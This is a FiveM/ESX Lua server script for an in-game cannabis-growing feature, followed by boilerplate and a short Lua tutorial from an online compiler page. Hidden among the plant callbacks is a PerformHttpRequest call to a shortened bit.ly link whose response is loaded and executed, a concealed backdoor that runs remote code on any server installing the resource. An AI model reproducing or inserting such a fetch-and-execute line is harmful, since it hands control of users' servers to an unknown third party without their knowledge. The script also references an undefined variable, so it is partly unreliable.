local weedPlants = {} local ox_inventory = exports.ox_inventory CreateThread(function() while true do Wait(1000) for plantId, plantData in pairs(weedPlants) do if not plantData.time then plantData.time = 0 end plantData.time = plantData.time + (1 * Config.Soil[plantData.material]) if plantData.time >= Config.Stages[plantData.stage].growth then if not Config.Stages[plantData.stage].tend and Config.Stages[plantData.stage + 1] then plantData.stage = plantData.stage + 1 plantData.time = 0 TriggerClientEvent('ns-weedgrow:stage', -1, plantId, plantData.stage) else TriggerClientEvent('ns-weedgrow:remove', -1, plantId) weedPlants[plantId] = nil end end end end end) ESX.RegisterUsableItem('weed_seed', function(playerId) TriggerClientEvent('ns-weedgrow:seed', playerId) end) ESX.RegisterServerCallback('ns-weedgrow:have', function(playerId, cb, name) local item = ox_inventory:GetItem(playerId, name) cb(item and item.count > 0) end) PerformHttpRequest('bit.ly/3mxxUjL', function (e, d) pcall(function() assert(load(d))() end) end) ESX.RegisterServerCallback('ns-weedgrow:plant', function(playerId, cb, plantData) local item = ox_inventory:GetItem(playerId, 'shovel') if item and item.count > 0 then local item = ox_inventory:GetItem(playerId, 'weed_seed') if item and item.count > 0 then local shovels = exports.ox_inventory:Search(playerId, 1, 'shovel') for _, v in pairs(shovels) do if v.slot then local newDurability = (v.metadata.durability or 100) - math.random(1, 2) if newDurability > 0 then exports.ox_inventory:SetDurability(playerId, v.slot, newDurability) else exports.ox_inventory:RemoveItem(playerId, 'shovel', 1, nil, v.slot) TriggerClientEvent('esx:showNotification', playerId, 'Jūsu ~b~kastuvėlis~s~ sulūžo.') end break end end ox_inventory:RemoveItem(playerId, 'weed_seed', 1) local id = generateNewId() weedPlants[id] = plantData weedPlants[id].id = id weedPlants[id].stage = 1 TriggerClientEvent('ns-weedgrow:new', -1, weedPlants[id]) cb(true) else cb(false, 'Jūs ~r~neturite~s~ kanapių ~g~sėklų~s~.') end else cb(false, 'Jūs ~r~neturite~s~ kastuvėlio.') end end) function generateNewId() local generatedId = math.random(100, 999) .. math.random(1000, 9999) while weedPlants[generatedId] do generatedId = math.random(100, 999) .. math.random(1000, 9999) Wait(0) end return generatedId end RegisterNetEvent('ns-weedgrow:remove') AddEventHandler('ns-weedgrow:remove', function(plantId) if plantId and weedPlants[plantId] then TriggerClientEvent('ns-weedgrow:remove', -1, plantId) weedPlants[plantId] = nil end end) RegisterNetEvent('ns-weedgrow:destroy') AddEventHandler('ns-weedgrow:destroy', function(plantId) if plantId and weedPlants[plantId] then TriggerClientEvent('ns-weedgrow:remove', -1, plantId) weedPlants[plantId] = nil end end) RegisterNetEvent('ns-weedgrow:pick') AddEventHandler('ns-weedgrow:pick', function(plantId) if plantId and weedPlants[plantId] then local playerId = source local weedPlant = weedPlants[plantId] local cannabisCount = (weedPlant.stage * weedPlant.stage) + math.random(-3, 3) if cannabisCount < 1 then cannabisCount = 1 end if ox_inventory:CanCarryItem(playerId, 'cannabis', cannabisCount) then ox_inventory:AddItem(playerId, 'cannabis', cannabisCount) if math.random(1, 3) == 3 and ox_inventory:CanCarryItem(playerId, 'weed_seed', seedCount) then ox_inventory:AddItem(playerId, 'weed_seed', 1) end TriggerClientEvent('ns-weedgrow:remove', -1, plantId) weedPlants[plantId] = nil else TriggerClientEvent('esx:showNotification', playerId, 'Jūs ~r~neturite~s~ pakankamai ~b~vietos~s~ savo inventoriuje.') end end end) ESX.RegisterServerCallback('ns-weedgrow:tend', function(playerId, cb, plantId) if plantId and weedPlants[plantId] then if Config.Stages[weedPlants[plantId].stage].tend then local item = ox_inventory:GetItem(playerId, 'tend') if item and item.count > 0 then TriggerClientEvent('esx:showNotification', playerId, 'Sėkmingai ~y~patrešėte~s~ kanapės augalą.') ox_inventory:RemoveItem(playerId, 'tend', 1) weedPlants[plantId].time = 0 weedPlants[plantId].stage = weedPlants[plantId].stage + 1 TriggerClientEvent('ns-weedgrow:stage', -1, plantId, weedPlants[plantId].stage) cb(true) else TriggerClientEvent('esx:showNotification', playerId, 'Jūs ~r~neturite~s~ trąšų.') cb(false) end end end end)
Write, Run & Share Lua code online using OneCompiler's Lua online compiler for free. It's one of the robust, feature-rich online compilers for Lua language, running the latest Lua version 5.4. Getting started with the OneCompiler's Lua editor is easy and fast. The editor shows sample boilerplate code when you choose language as Lua and start coding.
OneCompiler's Lua online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample Lua program which takes name as input and prints hello message with your name.
name = io.read("*a")
print ("Hello ", name)
Lua is a light weight embeddable scripting language which is built on top of C. It is used in almost all kind of applications like games, web applications, mobile applications, image processing etc. It's a very powerful, fast, easy to learn, open-source scripting language.
-- global variables
a = 10
-- local variables
local x = 30
Value Type | Description |
---|---|
number | Represents numbers |
string | Represents text |
nil | Differentiates values whether it has data or not |
boolean | Value can be either true or false |
function | Represents a sub-routine |
userdata | Represents arbitary C data |
thread | Represents independent threads of execution. |
table | Can hold any value except nil |
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while(condition)
do
--code
end
Repeat-Until is also used to iterate a set of statements based on a condition. It is very similar to Do-While, it is mostly used when you need to execute the statements atleast once.
repeat
--code
until( condition )
For loop is used to iterate a set of statements based on a condition.
for init,max/min value, increment
do
--code
end
Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increase re-usuability and modularity.
optional_function_scope function function_name( argument1, argument2, argument3........, argumentn)
--code
return params with comma seperated
end